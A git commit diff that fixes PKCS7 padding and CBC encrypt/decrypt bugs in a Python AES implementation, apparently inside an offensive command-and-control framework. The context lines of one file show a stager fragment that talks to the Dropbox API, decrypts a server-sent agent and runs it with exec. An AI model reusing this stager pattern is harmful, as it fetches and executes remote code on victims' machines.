Fix the padding and a logic bug in aes implementation, should fix #586

websockets-multiuser
ThePirateWhoSmellsOfSunflowers 2017-10-27 17:10:15 +02:00
parent cfdc5d5556
commit d41c7da190
2 changed files with 33 additions and 40 deletions

View File

@ -247,11 +247,8 @@ except Exception:
return c
def append_PKCS7_padding(data):
if (len(data) % 16) == 0:
return data
else:
pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad)
pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad)
def strip_PKCS7_padding(data):
@ -259,11 +256,7 @@ def strip_PKCS7_padding(data):
raise ValueError("invalid length")
pad = _get_byte(data[-1])
if pad <= 16:
return data[:-pad]
else:
return data
return data[:-pad]
class AES(object):
'''Encapsulates the AES block cipher.
@ -522,10 +515,13 @@ class AESModeOfOperationCBC(AESBlockModeOfOperation):
def CBCenc(aesObj, plaintext, base64=False):
# break the blocks in 16 byte chunks, padding the last chunk if necessary
blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)]
blocks[-1] = append_PKCS7_padding(blocks[-1])
# First we padd the plaintext
paddedPlaintext = append_PKCS7_padding(plaintext)
# The we break the padded plaintext in 16 byte chunks
blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)]
# Finally we encypt each block
ciphertext = ""
for block in blocks:
ciphertext += aesObj.encrypt(block)
@ -535,15 +531,16 @@ def CBCenc(aesObj, plaintext, base64=False):
def CBCdec(aesObj, ciphertext, base64=False):
# break the blocks in 16 byte chunks, padding the last chunk if necessary
# First we break the cyphertext in 16 byte chunks
blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)]
plaintext = ""
# Then we decrypt each block
paddedPlaintext = ""
for block in blocks:
paddedPlaintext += aesObj.decrypt(block)
for x in xrange(0, len(blocks)-1):
plaintext += aesObj.decrypt(blocks[x])
plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1]))
# Finally we strip the padding
plaintext = strip_PKCS7_padding(paddedPlaintext)
return plaintext
@ -892,4 +889,4 @@ response = post_message("https://api.dropboxapi.com/2/files/delete",data=datastr
# step 6 -> server sends HMAC(AES)
agent = aes_decrypt_and_verify(key, raw)
exec(agent)
exec(agent)

View File

@ -251,13 +251,9 @@ except Exception:
def _get_byte(c):
return c
def append_PKCS7_padding(data):
if (len(data) % 16) == 0:
return data
else:
pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad)
pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad)
def strip_PKCS7_padding(data):
@ -265,11 +261,7 @@ def strip_PKCS7_padding(data):
raise ValueError("invalid length")
pad = _get_byte(data[-1])
if pad <= 16:
return data[:-pad]
else:
return data
return data[:-pad]
class AES(object):
@ -530,10 +522,13 @@ class AESModeOfOperationCBC(AESBlockModeOfOperation):
def CBCenc(aesObj, plaintext, base64=False):
# break the blocks in 16 byte chunks, padding the last chunk if necessary
blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)]
blocks[-1] = append_PKCS7_padding(blocks[-1])
# First we padd the plaintext
paddedPlaintext = append_PKCS7_padding(plaintext)
# The we break the padded plaintext in 16 byte chunks
blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)]
# Finally we encypt each block
ciphertext = ""
for block in blocks:
ciphertext += aesObj.encrypt(block)
@ -543,15 +538,16 @@ def CBCenc(aesObj, plaintext, base64=False):
def CBCdec(aesObj, ciphertext, base64=False):
# break the blocks in 16 byte chunks, padding the last chunk if necessary
# First we break the cyphertext in 16 byte chunks
blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)]
plaintext = ""
# Then we decrypt each block
paddedPlaintext = ""
for block in blocks:
paddedPlaintext += aesObj.decrypt(block)
for x in xrange(0, len(blocks)-1):
plaintext += aesObj.decrypt(blocks[x])
plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1]))
# Finally we strip the padding
plaintext = strip_PKCS7_padding(paddedPlaintext)
return plaintext